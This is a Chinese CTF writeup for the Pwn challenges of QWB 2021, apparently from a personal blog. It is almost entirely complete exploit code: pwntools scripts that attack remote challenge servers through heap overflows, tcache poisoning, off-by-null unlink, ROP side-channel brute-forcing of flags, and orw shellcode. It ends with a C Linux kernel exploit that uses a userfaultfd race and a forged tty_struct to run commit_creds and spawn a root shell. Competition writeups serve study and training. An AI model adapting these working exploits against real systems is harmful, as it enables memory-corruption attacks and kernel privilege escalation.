[强网杯2021-线上赛] Pwn方向writeup

  • A+

线上赛撞了四六级,虽然慢了一点但是还是尽量追赶了,比较可惜的是有的题没来得及看...

ban完一堆队伍之后喜提线下hhh

orw

堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag

from pwn import *

#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add(idx:int, size:int, content):
    p.sendlineafter(b"choice >>\n", b"1")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"size:\n", str(size).encode())
    p.sendafter(b"content:\n", content)

def delete(idx:int):
    p.sendlineafter(b"choice >>\n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n")

    offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8
    print("offset:", hex(offset))
    shellcode_1 = '''
    mov rsi, rdi;
    xor rax, rax;
    jmp $+0x1a;
    '''
    shellcode_1 = asm(shellcode_1)
    shellcode_2 = '''
    xor rdi, rdi;
    mov edx, ecx;
    syscall;
    '''
    shellcode_2 = asm(shellcode_2) 
    print("len(shellcode_1):", hex(len(shellcode_1)))
    print(shellcode_1)
    print("len(shellcode_2):", hex(len(shellcode_2)))
    print(shellcode_2)
    add(-offset, 8, shellcode_1)
    add(0, 8, shellcode_2.ljust(8, b"\x90"))
    delete(0)

    orw = '''
    push 0;
    push 0x67616c66;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 0;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''

    p.send(b"\x90"*0x10+asm(orw))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

no_output

这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag

from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:\n
    p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
    # now give you the flag\n
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")

    # handler stkof
    #gdb.attach(p,"b *0x8049385\nc\n")

    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset + p32(0xdeadbeef)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) 
    payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0)  # open(flag_name, 0)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) 
    payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"\x00"))
    #time.sleep(0.5)
    p.send(b"flag\x00")
    p.send(guess + b"\x00")

    try:
        p.recv(timeout=1)
        final_flag += guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)

#qwb{n0_1nput_1s_great!!!}

shellcode

模式切换shellcode,字符范围限制: (0x1f, 0x7f)

用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)

orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag

from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"

    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"\x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload += asm(shellcode_mmap_raw)
    p.send(payload)

    #gdb.attach(p, "b *0x100001\nc\n")

    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000+flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"\x90")
    payload += asm(shellcode_open)
    payload += asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"\x90")
    payload += asm(shellcode_read)
    payload += asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)

    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag)) 

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的

from pwn import *

#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

def add():
    p.sendlineafter(b">> ", b"1")

def edit(idx:int, size:int, offset:int):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendlineafter(b"size: ", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def append(idx:int, size:int, data):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", data)

def show(idx:int):
    p.sendlineafter(b">> ", b"5")
    p.sendlineafter(b"index: ", str(idx).encode())

# 0x0000555555554000
# header: 0x0000555555554000+0x4058

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n")

    # leak libc
    add() #0
    edit(0, 0x420, 0)
    add() #1 split
    edit(0, 0, 0)
    edit(0, 0x420, 0)
    show(0)
    p.recvuntil(b"data: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    # attack tcache
    ## get
    add() #2
    edit(2, 0x18, 0x17)
    add() #3
    edit(3, 0x20, 0)
    add() #4
    edit(4, 0x20, 0)
    add() #5
    edit(5, 0x20, 0)
    ## free
    edit(5, 0, 0)
    edit(4, 0, 0)
    edit(3, 0, 0)

    payload = b"a"+p64(0x21)
    payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n"
    append(2, -2147483408, payload)

    append(3, 0x8, p64(system))
    print("free_hook:", hex(free_hook))

    edit(1, 0x8, 0)
    append(1, 0x8, b"/bin/sh\n")
    edit(1, 0, 0)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

babypwn

题出得有点莫名其妙,题目从堆块头遍历扫描\x11字符替换成\x00,遇到第一个\x00停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hooksetcontext+53,借助setcontext+53gadget调用mprotect给堆rwx后执行orw shellcode

from pwn import *

#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"

def unshiftleft(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res

def unshiftright(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res

def dec(c):
    for i in range(2):
        c = unshiftleft(c , 13)
        c = unshiftright(c ,17)
        c = unshiftleft(c ,5)
    return c

def add(size:int):
    p.sendlineafter(b">>> \n", b"1")
    p.sendlineafter(b"size:\n", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">>> \n", b"2")
    p.sendlineafter(b"index:\n", str(idx).encode())

def edit(idx:int, content):
    p.sendlineafter(b">>> \n", b"3")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"content:\n", content)

def show(idx:int):
    p.sendlineafter(b">>> \n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    # leak libc
    for i in range(8):
        add(0x80) # 0-7
    add(0x20) # 8 split
    for i in range(9,9+7):
        add(0xf8) # 9-16
    for i in range(8):
        delete(i) # del 0-7
    add(0x20) # 0
    show(0)
    libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_low = dec(libc_leak_low) & 0xffffffff
    libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_high = dec(libc_leak_high) & 0xffffffff
    libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
    libc_base = libc_leak - 0x3ebd20
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # leak heap
    add(0x80) # 1
    show(1)
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_low = dec(heap_leak_low) & 0xffffffff
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    heap_leak_high = dec(heap_leak_high) & 0xffffffff
    heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff
    heap_base = heap_leak - 0x1240 + 0x2c0 # modify
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # build overlapping
    add(0xf8) #2 chain
    add(0xf8) #3 chain
    add(0xf8) #4
    add(0xf8) #5
    add(0x100) #6
    add(0x90) #7 split
    ## fill tcache
    for i in range(9,9+7):
        delete(i) # del 9-16
    edit(5, b"a"*0xf8)
    edit(5, b"a"*0xf0+p64(0x200))
    edit(6, b"a"*0xf0+p64(0)+p64(0x21))
    edit(7, p64(0)+p64(0x91))
    target = heap_base+0x1d10-0x2c0  # modify
    edit(4, b"\x00"*0xf0+p64(0x100))
    edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))
    delete(6)

    # link to __free_hook
    add(0xf8) # 6 remove from tcache
    add(0x1f8) # 9
    delete(5) # del 5
    edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook))
    add(0xf8) # 5 remote first of tcache
    add(0xf8) # 10 free_hook
    edit(10, p64(setcontext+53))
    print("free_hook:", hex(free_hook))

    # attack setcontext+53
    #gdb.attach(p, "b free\nc\n")
    prepare = heap_base + 0x20d0 - 0x2c0 # modify
    add(0x200) # 11 prepare
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x20000
    frame.rdx = 7
    frame.rsp = prepare+0x100

    payload = flat(list(frame.values())).ljust(0x100, b"\x00")
    payload += p64(prepare+0x110)
    payload = payload.ljust(0x110, b"\x90")
    shellcode = '''
    push 0;
    //push 0x67616c66;
    mov rax, 0x7478742e67616c66;
    push rax;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 1;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''
    payload += asm(shellcode)
    print("length:", hex(len(payload)))

    edit(11, payload)
    delete(11)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

notebook

koo师傅和sad师傅打的,我在旁边加油hhh

exp.c

#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
    char *addr;         /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ;  ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
    MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE;
    //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
     MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE;
    //swapgs ;pop rbp ; ret
     SWAPGS += kernel_base - RAW_KERNEL_BASE;
    //0xffffffff810338bb: iretq; pop rbp; ret;
     IRETQ += kernel_base - RAW_KERNEL_BASE;
     swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE;
    //commit_creds函数
     COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
    // prepare_kernel_cred
     PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
    //push rax ; pop rsp ;  ret做栈迁移用
     PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
     SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE;
     PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE;
     POP_RDI+= kernel_base - RAW_KERNEL_BASE;
     POP_RSP+= kernel_base - RAW_KERNEL_BASE;
     POP_RAX+= kernel_base - RAW_KERNEL_BASE;
     MSLEEP += kernel_base - RAW_KERNEL_BASE;
     MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}
void getShell() {
    printf("%d\n",getuid());
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

struct ARG{
    long long idx;
    long long size;
    void * buf;
};
long long  gift(int fd,int offset){
    char buf[256];
    struct ARG arg = {0,0,buf};
    long long res=ioctl(fd, 100, &arg);
    printf("gift return %d\n",res);
    return *( long long*)(buf+offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x100, &arg);
    printf("add return %d\n",res);
    return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
    struct ARG arg = {idx,size,buf};
    long long res=ioctl(fd, 0x300, &arg);
    printf("edit return %d\n",res);
    return res;
}

long long del(int fd,long long idx){
    printf("in delete\n");
    struct ARG arg = {idx,0,0};
    long long res=ioctl(fd, 0x200, &arg);
    return res;
}
static void *
fault_handler_thread(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
       page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (page == MAP_FAILED)
           puts("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

       /* See what poll() tells us about the userfaultfd */

       struct pollfd pollfd;
       int nready;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       nready = poll(&pollfd, 1, -1);
       if (nready == -1)
           puts("poll");

       /* Read an event from the userfaultfd */

       nread = read(uffd, &msg, sizeof(msg));
       if (nread == 0) {
           printf("EOF on userfaultfd!\n");
           exit(EXIT_FAILURE);
       }

       if (nread == -1)
           puts("read");

       /* We expect only one kind of event; verify that assumption */

       if (msg.event != UFFD_EVENT_PAGEFAULT) {
           fprintf(stderr, "Unexpected event on userfaultfd\n");
           exit(EXIT_FAILURE);
       }

        /* Copy the page pointed to by 'page' into the faulting
          region. Vary the contents that are copied in, so that it
          is more obvious that each fault is handled separately. */
       if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            printf("write fault\n");
            sleep(1);
        } else {
           printf("read fault\n");
        char a[10]="sad";
            edit(fd,0,0x600,a);
        edit(fd,0,0x400,a);

        fault_cnt++;

        uffdio_copy.src = (unsigned long) page;

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                  ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
             printf("ioctl-UFFDIO_COPY");
        }
/*
    while(1){
        printf("check uid %d\n",geteuid());
        sleep(1);
    }
*/
    }
}
int main(){
    saveUserState();
    long uffd;          /* userfaultfd file descriptor */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 4 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       puts("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       puts("ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       puts("mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       puts("ioctl-UFFDIO_REGISTER");

    /* Create a thread that will process the userfaultfd events */

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
       errno = s;
       puts("pthread_create");
    }

    fd = open("/dev/notebook", 2);
    char a[10]="sadaaaaa";
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
    for(int i =0 ;i<0x100;i++)
    ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[128];
    size_t fake_tty_operations[128];
    printf("read size:%d\n",read(fd,fake_tty_struct,0));

    long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440;
    init_addr(kernel_addr);
    add(fd,1,0x20,a);
    edit(fd,1,0x20*8,a);
    add(fd,2,0x50,a);
    long long tty_operation_addr = gift(fd,2);
    long long heap_addr = gift(fd,1);
    size_t rop_addr = heap_addr;
    fake_tty_struct[3] = tty_operation_addr;
   fake_tty_struct[1] = SUB_RSP_RET;
   fake_tty_struct[0x14] = POP_RSP;
   fake_tty_struct[0x15] = rop_addr;
   //fake_tty_struct[2] = rop_addr;
    write(fd,fake_tty_struct,0);
    printf("kernel heap addr: %p\n",heap_addr);
    printf("kernel kernel addr: %p\n",kernel_addr);
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
   //栈再一次转移到rop数组里
    size_t rop[0x20];
    int i = 0;
    /*rop同时关闭了smap、semp*/
    rop[i++] = POP_RDI;
    rop[i++] = 0;
    rop[i++] = PREPARE_KERNEL_CRED;
    rop[i++] = MOV_RDI_RAX_POP_RET;
    rop[i++] = 0;
    rop[i++] = COMMIT_CREDS;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)&getShell;
    rop[i++] = user_cs;
    rop[i++] = user_flags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    printf("\ngetshell: %llx\n",(size_t)&getShell);
    write(fd,rop,1);
    write(fd,fake_tty_operations,2);
    //getchar();
    //write(fd,fake_tty_operations,0);

    for(int i=0;i<0x100;i++){
        write(ptmx_fds[i],a,0x10);
    }

    return 0;
}
eqqie

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: